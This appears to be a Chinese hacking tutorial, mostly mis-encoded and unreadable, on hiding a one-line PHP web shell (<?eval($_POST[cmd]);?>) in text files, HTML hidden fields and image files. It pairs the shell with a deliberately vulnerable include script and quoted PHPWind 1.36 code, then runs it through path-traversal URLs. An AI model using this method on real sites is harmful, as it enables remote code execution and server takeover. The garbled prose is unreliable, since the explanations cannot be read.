ܶѶǷܰһ仰ľصHTMLͼƬʵһ仰ľ뵽PHPļоѾˣ˵ӲҪŵHTMLļͼƬͽ¿ƪƪԱɡҪ֪PHPŵͼƬҲִеģΪPHPֻչΪphpļ˵ҪʹͼƬPHPִСǾ͵ĽPHPеĵú&nbsp;include&nbsp;require&nbsp;ȡ&nbsp;<br>ǻǵǰЩӰľصͼƬ°ɡҲPHPļinclude("x.gif")ͼƬľ䡣ASPҲơƷǳεֱӵͼƬ΢PHP˾Ͳѷֿ֮URL&nbsp;GETʽѴݲʹòľܵòӡ&nbsp;<br>include&nbsp;PHPʹõıȽƵİȫҲʵ̫࣬PHPWIND1.36©ΪincludeıûġɴǾͿԹƵ뵽PHPļСȻľصͼƬHTMLļ˵Ծ͸ˡPHPWIND̳䣺&lt;?@include&nbsp;includ/.$PHPWIND_ROOT;?&nbsp;&lt;mailto:?@include&nbsp;'includ/'.$PHPWIND_ROOT;?&gt;&gt;&nbsp;һԱ޷ġ&nbsp;<br>include&nbsp;æǾͿ԰PHPľص&nbsp;&nbsp;txthtmlͼƬļȺܶ͵ļˡΪtxthtmlͼƬļ͵ļ̳ϵͳΪˣǾԡ&nbsp;<br>ȽһPHPļtest.php&nbsp;ļΪ:&nbsp;<br><br>&lt;?php&nbsp;<br>$test=$_GET['test'];&nbsp;<br>@include&nbsp;'test/'.$test;&nbsp;<br>?&gt;&nbsp;<br><br>Txtļһ㶼˵ļǰһ仰ľŵĿ¼˵ļOKˡ㽨һTXTļt.txtǰһ仰ľ&lt;?eval($_POST[cmd]);?&gt;ճt.txtļȻhttp://localhost/test/test.php?test=../t.txt&nbsp;&lt;http://localhost/phpw/index.php?PHPWIND_ROOT=../robots.txt&gt;;&nbsp;㿴t.txtݾ֤Okˣ&nbsp;Ȼlanker΢PHPſͻ&nbsp;ľַhttp://localhost/test/test.php?test=../t.txt&nbsp;&lt;http://localhost/phpw/index.php?PHPWIND_ROOT=../robots.txt&gt;;&nbsp;cmdͿˣִзصĽԿ&nbsp;<br><br>HTMLļһ㶼ΪģļΪʹ뵽HTMLļľִܱжҲʾǿHTMLһԵı&nbsp;磺&lt;input&nbsp;type=hidden&nbsp;value="&lt;?eval($_POST[cmd]);?&gt;"&gt;&nbsp;Ȼʹ÷ͬϡִеķؽһ㶼Բ鿴Դļ&nbsp;ʹò鿴Ŀ¼ܡ鿴ԴļΪ&nbsp;&lt;input&nbsp;type=hidden&nbsp;value="C:\Uniserver2_7s\www\test"&gt;&nbsp;ҿԵõĿ¼Ϊ&nbsp;C:\Uniserver2_7s\www\test&nbsp;<br>˵˵ͼƬļҪ˵ΪһĪڰľصͼƬǿֱӶһͼƬб༭&lt;?eval($_POST[cmd]);?&gt;뵽ͼƬĩβͼ&nbsp;<br><br>һ㶼ͼƬӰ졣Ȼͬͻľַ&nbsp;&lt;http://localhost/test/test.php?test=../1.jpg&gt;;&nbsp;<br>ǲ鿴PHP&nbsp;صǽԭͼƬͼ&nbsp;<br><br>ҪĽЩˣʵѾˣֻǷصĽѣΪGIFļǲʾؽģΪ֤Ƿִ&nbsp;ִϴļϣļѾɹϴϡαŵԺáȱҲȻ˵ûԡ뿴صĽǾó±αһٵͼƬļɡ&nbsp;<br>ͻˣPHPžͿԼѡˡĲִ٣вָ֮